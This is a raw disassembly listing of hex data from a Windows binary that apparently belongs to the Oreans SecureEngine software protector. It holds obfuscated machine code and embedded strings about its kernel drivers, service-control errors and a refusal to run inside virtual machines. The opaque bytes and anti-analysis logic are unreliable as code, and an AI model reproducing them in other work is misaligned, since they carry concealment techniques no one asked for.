		dd 6AF745BFh, 0BD958900h, 0E806A62Fh, 4, 80h, 0F50EA8Ah
		dd 28Ah, 8BEF8A00h, 8B042444h, 0DE800h,	0B4440000h, 25FE5795h
		dd 7FA5C74Eh, 0F36394Eh, 28Fh, 5FD38B00h, 4244489h, 7E9h
		dd 0B983AF00h, 0A82AD6C2h, 6AD68058h, 958B036Ah, 6A60DDDh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 3D4B26C3h, 0BA9A6442h, 7499028Eh,	0BD23036Ah
		dd 6A63459h
		dd 0D208BB60h, 0E8614756h, 4, 0C0000000h, 0C8C0Fh, 52500000h
		dd 6576BE66h, 6160310Fh, 0F50585Ah, 1285h, 0F525000h, 88h
		dd 50310F00h, 5A310F52h, 8B585A58h, 0E8042444h,	13h, 0CBE80E25h
		dd 7C4977Ch, 4B8361F4h,	3A9CACB8h, 8B6DB210h, 8B5ED1h
		dd 4244489h, 3830Fh, 8B660000h,	83BF58CAh, 8D4E9B57h, 0A8A6D29Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0DA267E44h, 59327264h, 4DBD8996h, 9306A600h
		dd 0B550CF8Bh, 9D09936Dh, 6A62D15h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0D3FBB8C3h
		dd 89EE7D24h, 0B70F5E75h, 6880FCFh, 23000000h, 0A607158Dh
		dd 850F4006h, 283h, 850Fh, 50580000h, 59CF8B56h, 33240489h
		dd 0A60F4D8Dh, 6AF58A06h, 60C9B600h, 2C79B58Bh,	61F506A6h
		dd 3C5AED68h, 240481DAh, 25C3A593h, 16718D03h, 36A06A6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A6C35545h
		dd 0E9AF98D0h, 8E0FC101h, 3, 89FBB70Fh,	0A61895B5h, 0FE906h
		dd 0C00A0000h, 0F5BFC366h, 0F651A705h, 0E742FEEAh, 0E9006A7Dh
		dd 14h,	4DA9BA09h, 57E294AFh, 9EF62DF5h, 83E06193h, 82940FF8h
		dd 6A036Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 4E8AFC3h,	0
		dd 66C00000h, 0B650F78Bh, 24448B89h, 50008B04h,	8E85052h
		dd 7E000000h, 6503BACBh, 5A884A9Ah, 8B310F59h, 89585AFEh
		dd 0E9042444h, 5, 7D2ECFECh, 953358A0h,	6A62971h, 0A6DB9D8Dh
		dd 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0A31C04C3h, 0D7206F21h, 95BD2B71h, 5006A615h
		dd 0E9241C89h, 6, 67C67310h, 0D0FF1530h, 0EEE18166h, 119D8930h
		dd 4006A61Bh, 139850Fh,	5E80000h, 1D000000h, 0EA313FFDh
		dd 8C1BD8Bh, 0E85F06A6h, 6, 0E21F2C22h,	585ECEC0h, 1DA59589h
		dd 0F9006A6h, 8Eh, 8F0F5000h, 0
		dd 63BF6090h, 8B7ED6BDh, 0A610658Dh, 6A6106h, 0EE8h, 11F86500h
		dd 0CE0B5038h, 0EE1CA13Ch, 52C7859Ah, 25D1958Bh, 5F5E06A6h
		dd 7D635D68h, 8B5250C6h, 0F310FCFh, 58Ch, 7BBDBF00h, 585A40DBh
		dd 23240481h, 8039829Dh, 36A77C9h, 5E8h, 0AA3CE900h, 0F60B0C5h
		dd 82h,	8A0F00h, 61000000h, 0F006A59h, 36AD0BFh, 6820Fh
		dd 0BD310000h, 6A61DADh, 8B331768h, 0C3BE666Bh,	24048146h
		dd 5474CCE9h, 2AA98589h, 9D8D06A6h, 6A8A6E6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 0BEEDCEEAh
		dd 6E09D241h, 50D08A93h, 8B93CB8Ah, 0A6139DBDh,	89D0FF06h
		dd 0A607F99Dh, 850F4006h, 2Fh, 13E9h, 4A025800h, 8BDD6C00h
		dd 0AF0E626Ah, 1EC0128Fh, 86EC89E7h, 34518D33h,	35806A6h
		dd 0A61305B5h, 10DE906h, 80560000h, 8B5EB2EDh, 89BD8BD8h
		dd 4B06A62Fh, 0B7FC5BBEh, 0AE85818h, 0CD000000h, 0D6428724h
		dd 296467AAh, 0B9B589B6h, 5906A606h, 85C6D38Bh,	6A60C29h
		dd 41BD8B43h, 6806A615h, 65BAC600h, 885DB860h, 8B666945h
		dd 48161F0h, 0BB84A724h, 8ADD805Ah, 2F8DB5FFh, 6A06A6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8DA4C8C3h, 0A63AC385h, 17880F06h, 0E8000000h, 0Eh, 8766BC04h
		dd 0CB913BE4h, 0A59EF037h, 0CD80C1D0h, 0D0FF5FCBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FEC35343h, 2B4CE981h
		dd 6050306Eh, 61D98B66h, 80241C89h, 0D0FFC1F2h,	1E06C981h
		dd 9D8D22E3h, 6A67226h,	0B8FAB70Fh, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 3FC35141h, 0BA6030B8h, 1EEB214Fh
		dd 0FF61F88Bh, 258589E3h, 8B06A632h, 758531C1h,	8B06A633h
		dd 0BD83FCC0h, 6A61EA5h, 83097500h, 0A62F9DBDh,	19740006h
		dd 0C08B5350h, 40FB8h, 0F9858900h, 8D06A61Bh, 0A8A5D39Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h, 40FB8h, 0F9858900h
		dd 8D06A61Bh, 0A8A2749Dh, 5BD3FF06h, 6ACA8B58h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 10FFC352h, 0E9952BC1h, 8B06A611h, 0CE8C0h, 0FA940000h
		dd 60BFC8EEh, 9096E06Eh, 0E3BBF481h, 5838C5F5h,	1A059D89h
		dd 0C08106A6h, 6DE4h, 0CE8h, 0E1FC5C00h, 0B63BF345h, 6C15FA05h
		dd 659D8BA0h, 5906A609h, 9D29FF2Bh, 6A63199h, 938148Bh
		dd 0A6013195h, 4CEA8106h, 0E87B0F0Ch, 14h, 4FBCBB4Ah, 207635C0h
		dd 4650FD94h, 46196DC7h, 0BACD8B0Eh, 84F28159h,	667B5919h
		dd 0C281CE8Bh, 19534603h, 6800F52h, 29000000h, 0A62A45BDh
		dd 80525906h, 48F9AF5h,	25B58B38h, 0F806A601h, 0BB04EF83h
		dd 4984133h, 92C4FF81h,	850FFFFFh, 0FFFFFF98h, 2B219D8Bh
		dd 0EE906A6h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6A60C29h, 5B866847h, 0B5FFE3E4h
		dd 6A62F8Dh, 3AC3858Dh,	0D0FF06A6h, 10468h, 759D8D00h
		dd 5306A61Fh, 8D50D0FFh, 0A8B033B5h, 32FE8B06h,	850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0A60C2985h
		dd 0FC684306h, 0FFBC8E6Eh, 0A62F8DB5h, 0C3858D06h, 0FF06A63Ah
		dd 75B58DD0h, 6A06A61Fh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6A60C29h, 0EE566857h,	0B5FFA69Bh
		dd 6A62F8Dh, 3AC3858Dh,	0D0FF06A6h, 1449BD8Dh, 8D8D06A6h
		dd 6A8B159h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0AE3BB58Dh, 858D06A8h, 6A89F3Ch, 8D8DD0FFh, 6A67226h
		dd 0B8h, 0C6E1FF00h, 0A60C2985h, 0A7684306h, 0FFC0764Ah
		dd 0A62F8DB5h, 0C3858D06h, 0FF06A63Ah, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 0A8E9AEBDh, 840F0006h, 0Ah, 2F9D85C7h, 106A6h
		dd 85C60000h, 6A60C29h,	0F45E6847h, 48130F9h, 73782F24h
		dd 8DB5FF5Fh, 8D06A62Fh, 0A63AC385h, 0FFD0FF06h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h
		dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2DDE900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C0E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 6A8E92Eh, 225E8h
		dd 0C3BD0300h, 8306A8E9h, 0A8E9C3BDh, 840F0006h, 0Bh, 1EA585C7h
		dd 106A6h, 8DC30000h, 0A8E939B5h, 1FCE806h, 0BD030000h
		dd 6A8E9C3h, 0E9C3BD83h, 0F0006A8h, 0B84h, 9D85C700h, 106A62Fh
		dd 0C3000000h, 0E9B2B58Dh, 0D3E806A8h, 3000001h, 0A8E9C3BDh
		dd 0C3BD8306h, 6A8E9h, 0B840Fh,	85C70000h, 6A62A49h, 1
		dd 43B58DC3h, 0E806A8E9h, 1AAh,	0E9C3BD03h, 0BD8306A8h
		dd 6A8E9C3h, 0B840F00h,	0C7000000h, 0A62F9D85h,	106h, 0B58DC300h
		dd 6A8E94Dh, 181E8h, 0C3BD0300h, 8306A8E9h, 0A8E9C3BDh
		dd 840F0006h, 15h, 2F9D85C7h, 106A6h, 85C70000h, 6A61EA5h
		dd 1, 5BB58DC3h, 0E806A8E9h, 14Eh, 0E9C3BD03h, 0BD8306A8h
		dd 6A8E9C3h, 0A840F00h,	0C7000000h, 0A6216185h,	106h, 65B58D00h
		dd 0E806A8E9h, 126h, 0E9C3BD03h, 0BD8306A8h, 6A8E9C3h
		dd 0A840F00h, 0C7000000h, 0A6216185h, 106h, 70B58D00h
		dd 0E806A8E9h, 0FEh, 0E9C3BD03h, 0BD8306A8h, 6A8E9C3h
		dd 0A840F00h, 0C7000000h, 0A610E985h, 106h, 76B58D00h
		dd 0E806A8E9h, 0D6h, 0E9C3BD03h, 0BD8306A8h, 6A8E9C3h
		dd 0A840F00h, 0C7000000h, 0A61B0D85h, 106h, 7CB58D00h
		dd 0E806A8E9h, 0AEh, 0E9C3BD03h, 0BD8306A8h, 6A8E9C3h
		dd 0A840F00h, 0C7000000h, 0A6118D85h, 106h, 8AB58D00h
		dd 0E806A8E9h, 86h, 0E9C3BD03h,	0BD8306A8h, 6A8E9C3h, 0A840F00h
		dd 0C7000000h, 0A6105185h, 106h, 97B58D00h, 0E806A8E9h
		dd 5Eh,	0E9C3BD03h, 0BD8306A8h,	6A8E9C3h, 0A840F00h, 0C7000000h
		dd 0A62F7585h, 106h, 0A2B58D00h, 0E806A8E9h, 36h, 0E9C3BD03h
		dd 0BD8306A8h, 6A8E9C3h, 0A840F00h, 0C7000000h,	0A6165585h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0E9C3B589h, 0AE906A8h, 0C7000000h
		dd 0A8E9C385h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 216185C7h, 6A6h, 0C88B0000h,	0BE8h
		dd 919CD900h, 6FBB3B26h, 14F5CC9Ah, 8FD9D8Bh, 0E95906A6h
		dd 0Fh,	0D97B447Dh, 0B1E9FFDFh,	3AD8ED5Dh, 81A235A4h, 753FC1h
		dd 55BD8900h, 3306A60Ah, 0FFF9B4FFh, 0B70F0F34h, 0BF0F5ADBh
		dd 0E8EA81C7h, 0F6082FEh, 0EA81F2BFh, 4BC37382h, 10E9h
		dd 0EE4F4A00h, 5D7F4ACBh, 5AC9F5DBh, 44F1570Eh,	8F281FFh
		dd 8B325377h, 0A6320D85h, 0BB665206h, 48FB75Bh,	14E839h
		dd 61B60000h, 99ECAA2Dh, 0D5A8F051h, 37A2C50Ch,	0FF39F9C1h
		dd 0F38B7143h, 0DDB58B5Eh, 8306A62Bh, 0E38104EFh, 32E9EF44h
		dd 8B94FF81h, 850FFFFFh, 16h, 12FD9D8Bh, 1DE906A6h, 53000000h
		dd 64C94740h, 1A2F4A9Bh, 8B66885Dh, 0FF69E9DEh,	5949FFFFh
		dd 0A5213973h, 4C6A9529h, 10B7E9h, 56444100h, 33495041h
		dd 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh, 41726567h
		dd 65724300h, 53657461h, 69767265h, 416563h, 72617453h
		dd 72655374h, 65636976h, 65470041h, 74614E74h, 53657669h
		dd 65747379h, 666E496Dh, 704F006Fh, 65536E65h, 63697672h
		dd 44004165h, 74656C65h, 72655365h, 65636976h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 656C64h, 746E6F43h
		dd 536C6F72h, 69767265h, 6563h,	7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 8166C48Bh
		dd 8903B1E9h, 0A6002D85h, 6840F06h, 89000000h, 0A6331985h
		dd 81C08B06h, 283242E2h, 558D8B7Eh, 8306A610h, 0A61EA5BDh
		dd 9750006h, 2F9DBD83h,	740006A6h, 8B535019h, 43DB8C0h
		dd 85890000h, 6A62AD1h,	0A56C9D8Dh, 0D3FF06A8h,	0BD83585Bh
		dd 6A62F9Dh, 50177400h,	43DB853h, 85890000h, 6A62AD1h
		dd 0A25B9D8Dh, 0D3FF06A8h, 9589585Bh, 6A6138Dh,	0DE8h
		dd 0F2DEEE00h, 0ABB45283h, 8E73D81Ch, 9D893BFCh, 6A62E99h
		dd 0D0BF0F59h, 880FC08Bh, 6, 19899D29h,	0C08B06A6h, 0FE8h
		dd 93051900h, 476E1196h, 1DEDC057h, 2EDE7298h, 5AD7B70Fh
		dd 2EC98589h, 0BD8306A6h, 6A61EA5h, 83097500h, 0A62F9DBDh
		dd 13740006h, 0C08B5350h, 0B8h,	0E9D8D00h, 0FF06A8A4h
		dd 83585BD3h, 0A62F9DBDh, 11740006h, 0B85350h, 8D000000h
		dd 0A8A2BF9Dh, 5BD3FF06h, 91F28158h, 661FCAD5h,	8B7CF0BFh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 66DA2ABh, 99D89F3h, 8B06A607h, 0C19589C0h
		dd 8306A607h, 0A61EA5BDh, 9750006h, 2F9DBD83h, 740006A6h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 6A8A340h, 585BD3FFh, 2F9DBD83h
		dd 740006A6h, 0B8535011h, 0
		dd 0A28D9D8Dh, 0D3FF06A8h, 0CA81585Bh, 48744499h, 0F0DBD89h
		dd 0C08B06A6h, 0B9C985BFh, 6AC08B5Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 718AC355h
		dd 9E4FFA57h, 0A5BD83CAh, 6A61Eh, 0BD830975h, 6A62F9Dh
		dd 50137400h, 0B8C08B53h, 0
		dd 0A3A79D8Dh, 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh, 50117400h
		dd 0B853h, 9D8D0000h, 6A8A2A6h,	585BD3FFh, 6AC88Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0FCF60BC3h, 0BD8B9C43h, 6A60A95h, 9D09C08Bh,	6A61929h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 12BFC9C3h, 8B559F28h, 0A61255BDh,	0B5BD8B06h
		dd 8306A62Dh, 0A61EA5BDh, 9750006h, 2F9DBD83h, 740006A6h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 6A8A2D9h, 585BD3FFh, 0BE9h
		dd 0FAAEB500h, 25439360h, 9EB3C1B1h, 1049B589h,	0C08B06A6h
		dd 7E9h, 743C5300h, 0F6FC5B75h,	6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 79706AC3h
		dd 88C04C09h, 94190D6h,	0A61D7DBDh, 0A5BD8306h,	6A61Eh
		dd 0BD830975h, 6A62F9Dh, 50197400h, 0B8C08B53h,	7D0h, 2AD18589h
		dd 9D8D06A6h, 6A8A56Ch,	585BD3FFh, 2F9DBD83h, 740006A6h
		dd 0B8535017h, 7D0h, 2AD18589h,	9D8D06A6h, 6A8A25Bh, 585BD3FFh
		dd 25BD8BF5h, 8B06A633h, 1A820FC0h, 0F000000h, 148Ah, 0EE800h
		dd 8BDE0000h, 9F683B7Dh, 0DA71975Fh, 66527555h,	2985C65Ah
		dd 5306A60Ch, 0E119D89h, 9D2906A6h, 6A62BBDh, 395F9068h
		dd 85896099h, 6A61CFDh,	0CFBF0F60h, 0B5FF6161h,	6A62F8Dh
		dd 0C3858DF8h, 6A06A63Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0EB3DC357h,	8B29E8ECh
		dd 0A6291595h, 89D0FF06h, 0A60FD185h, 79858906h, 8106A61Ah
		dd 2E26E0EFh, 2985C605h, 5706A60Ch, 2ADD958Bh, 66806A6h
		dd 0FF900452h, 0A62F8DB5h, 418D8B06h, 8D06A630h, 0A63AC385h
		dd 0D0FFFC06h, 2EB5BD8Bh, 858906A6h, 6A6116Dh, 2985C6F9h
		dd 4306A60Ch, 810Fh, 28680000h,	6ABC9070h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D836C356h
		dd 0DE45BA7Dh, 5361641Fh, 0FF9B70Fh, 0B5FFD6BFh, 6A62F8Dh
		dd 0F88B6657h, 0C3858D59h, 6A06A63Ah, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CBB5C356h
		dd 0DF8562EBh, 0D0FF9F0Bh, 167DBD8Bh, 858906A6h, 6A60D5Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 90C35040h
		dd 0FC66A36Bh, 0E8608653h, 8, 0F4C767E3h, 0A1ADE4A1h, 5AD8BF0Fh
		dd 9E9h, 6505C300h, 0BD4EBBACh,	0C66134B9h, 0A60C2985h
		dd 95894C06h, 6A6115Dh,	21AD9D89h, 0E96806A6h, 66D9DA1Ch
		dd 9FBECA81h, 2F8DB5FFh, 0C6B606A6h, 3AC3858Dh,	8D0306A6h
		dd 6A625E9h, 8589D0FFh,	6A6101Dh, 32FD8589h, 0B52906A6h
		dd 6A604E5h, 0C2985C6h,	8B4606A6h, 0A6199595h, 6146806h
		dd 8C0FBADEh, 6, 34719D29h, 0B5FF06A6h,	6A62F8Dh, 6E9h
		dd 0EAE54000h, 8D11A14Bh, 0A63AC385h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8978CF66h, 0A632E59Dh, 81D0FF06h, 0F78772E7h, 1D858978h
		dd 6A06A614h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 86D1C352h, 3D4CB49Dh, 0F53C76Dh
		dd 895FF9B7h, 0A605A5BDh, 2985C606h, 4706A60Ch,	9EC98060h
		dd 1C0DB58Bh, 8B6106A6h, 0A630F9BDh, 0B5E26806h, 8B668A0Fh
		dd 8DB5FFCBh, 2306A62Fh, 0A6130595h, 0C3858D06h, 6A06A63Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 2DFCC357h, 7EC981D7h, 0FF19895Dh,	0E28060D0h
		dd 49B5899Dh, 6106A61Fh, 290D8589h, 0B70F06A6h,	2985C6CAh
		dd 4706A60Ch, 18298589h, 0F36806A6h, 6A83D0B5h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4B20C355h, 5A09BF67h, 483B1DCEh, 2B358D8Bh, 0B5FF06A6h
		dd 6A62F8Dh, 32A06EBFh,	0C3858D2Bh, 8106A63Ah, 0DB944DD1h
		dd 0D0FFF814h, 0E9F5BF66h, 29298589h, 0BD8B06A6h, 6A628F1h
		dd 18459531h, 85C606A6h, 6A60C29h, 45B53177h, 6806A619h
		dd 0F397A8A3h, 8937ED80h, 0A60621BDh, 5B5FF06h,	0F06A633h
		dd 38Ah, 0CA8B6600h, 3AC3858Dh,	6A06A6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F6688CC3h
		dd 0E9FCD8E3h, 0Bh, 0AB3CF8FAh,	75CF1944h, 0FF99EDC4h
		dd 8589F9D0h, 6A61E95h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 94C35343h, 0DBA62361h, 85C634A4h, 6A60C29h
		dd 50006A47h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F3F39DBFh, 80B97609h, 680F0C29h, 8728FAF6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7BC35747h
